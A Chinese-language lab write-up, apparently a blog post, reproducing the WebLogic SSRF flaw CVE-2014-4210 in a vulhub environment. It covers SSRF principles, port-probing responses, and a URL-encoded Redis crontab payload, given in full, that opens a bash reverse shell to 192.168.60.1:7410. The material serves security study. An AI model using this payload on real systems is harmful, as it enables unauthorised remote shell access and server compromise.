Weblogic SSRF(CVE-2014-4210)

影响范围:

weblogic 10.0.2.0

weblogic 10.3.6.0

漏洞描述:

Oracle Fusion Middleware 10.0.2.0 和 10.3.6.0 中的 Oracle WebLogic Server 组件中存在未指定的漏洞,允许远程攻击者通过与 WLS - Web 服务相关的向量影响机密性。

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

SSRF漏洞原理:

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造形成并由服务端发起请求的安全漏洞。其原理主要源于服务端提供了从其他服务器应用获取数据的功能,比如使用户从指定的URL web应用获取图片、下载文件、读取文件内容等,但同时没有对目标地址做严格过滤与限制。这样,攻击者就可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。

SSRF漏洞通过篡改获取资源的请求发送给服务器(服务器并没有检测这个请求是否合法的),然后服务器以他的身份来访问服务器的其他资源。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。

这种攻击方式通常针对从外网无法访问的内部系统,因为是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。攻击者可以利用SSRF进行端口扫描、攻击运行在内网或本地的应用程序、对内网web应用进行指纹识别等恶意行为。

SSRF常用到的协议:

  1. HTTP和HTTPS协议:这是最常用到的协议,用于发起HTTP和HTTPS请求。攻击者可以通过这些协议探测目标系统的端口开放情况,以及探测并攻击内网应用。
  2. FILE协议:FILE协议是本地文件传输协议,可以用于读取目标服务器系统中的文件。这是SSRF漏洞利用中较为简单的一种方式,攻击者可以通过构造特定的FILE协议请求来读取敏感文件。
  3. DICT协议:DICT协议是字典服务器协议,基于TCP查询。在SSRF漏洞中,它可用于探测端口以及攻击内网应用。然而,需要注意的是,DICT协议不支持换行符,无法进行换行,因此不适合用于攻击那些需要交互的应用(如需要认证的Redis)。
  4. GOPHER协议:Gopher协议在互联网上用于分布式文件搜集和获取。在SSRF攻击中,攻击者可以利用Gopher协议来构造更灵活的Web请求,甚至用于攻击内网应用或反弹shell。
  5. FTP协议:FTP协议也可用于SSRF攻击中,用于探测目标系统端口的开放情况。开放的端口和非开放的端口在响应时间上是不同的,因此攻击者可以通过FTP协议来收集这些信息。

可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

复现操作步骤:

使用vulhub搭建靶场环境。

Weblogic的 uddi组件实现包中有个ddiexplorer.war文件,其下里SearchPublicReqistries.jsp 接口存在SSRF漏洞。

payload:http://IP:7001/uddiexplorer/SearchPublicReqistries.jsp

在该接口的源码中可以看到有外部链接

抓取提交表单的数据包进行检测,将该外部链接修改为请求dnslog进行验证

发现请求成功,SSRF存在。SSRF验证完成,对主机存活和端口进行探测。

对其本地环境地址测试。

一、当访问的主机存活且端口开放会返回状态码

二、当返回 No route to host是IP没存活(会一直请求到超时才会回显)

三、IP存活但端口未开放,返回but could not connect over

四、开放的端口不是web端口,返回 SOAP content-type: null

在实战中想要通过ssrf探测内网,可以使用脚本或burp爆破获取存活IP及端口。这里为了方便直接查看靶场的redis的IP和端口。

使用crontab定时任务反弹shell

crontab反弹shell的payload:

set s “\n* * * * * root bash -i >& /dev/tcp/192.168.60.1/7410 0>&1\n”

config setdir /etc/ config

set dbfilename crontab

save

上述命令解释如下图

将四行命令整理成一行,并进行URL编码(URL编码https://tool.chinaz.com/tools/urlencode.aspx

set%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.60.1%2F7410%200%3E%261%5Cn%22%20config%20setdir%20%2Fetc%2F%20config%20set%20dbfilename%20crontab%20save

在每一句后面加上换行符:\r\n,换行符URL编码为:%0D%0A(每一句为一行,共四行,直接使用%0D%0A插到每一句后面,句子之间不需要空格)

set%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.60.1%2F7410%200%3E%261%5Cn%22%20%0D%0Aconfig%20setdir%20%2Fetc%2F%20%0D%0Aconfig%20set%20dbfilename%20crontab%20%0D%0Asave

在行首和行末各添加两个换行符,并在开头和结尾各添加a

a%0D%0A%0D%0Aset%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.60.1%2F7410%200%3E%261%5Cn%22%20%0D%0Aconfig%20setdir%20%2Fetc%2F%20%0D%0Aconfig%20set%20dbfilename%20crontab%20%0D%0Asave%0D%0A%0D%0Aa

最终填入operator参数的payload:

http://172.18.0.2:6379/a%0D%0A%0D%0Aset%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.60.1%2F7410%200%3E%261%5Cn%22%20%0D%0Aconfig%20setdir%20%2Fetc%2F%20%0D%0Aconfig%20set%20dbfilename%20crontab%20%0D%0Asave%0D%0A%0D%0Aa

开启nc监听(监听反弹shell里的IP和端口),将整合好的payload放到operator参数中发包,反弹成功。

参考链接:

https://vulhub.org/#/environments/weblogic/ssrf/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值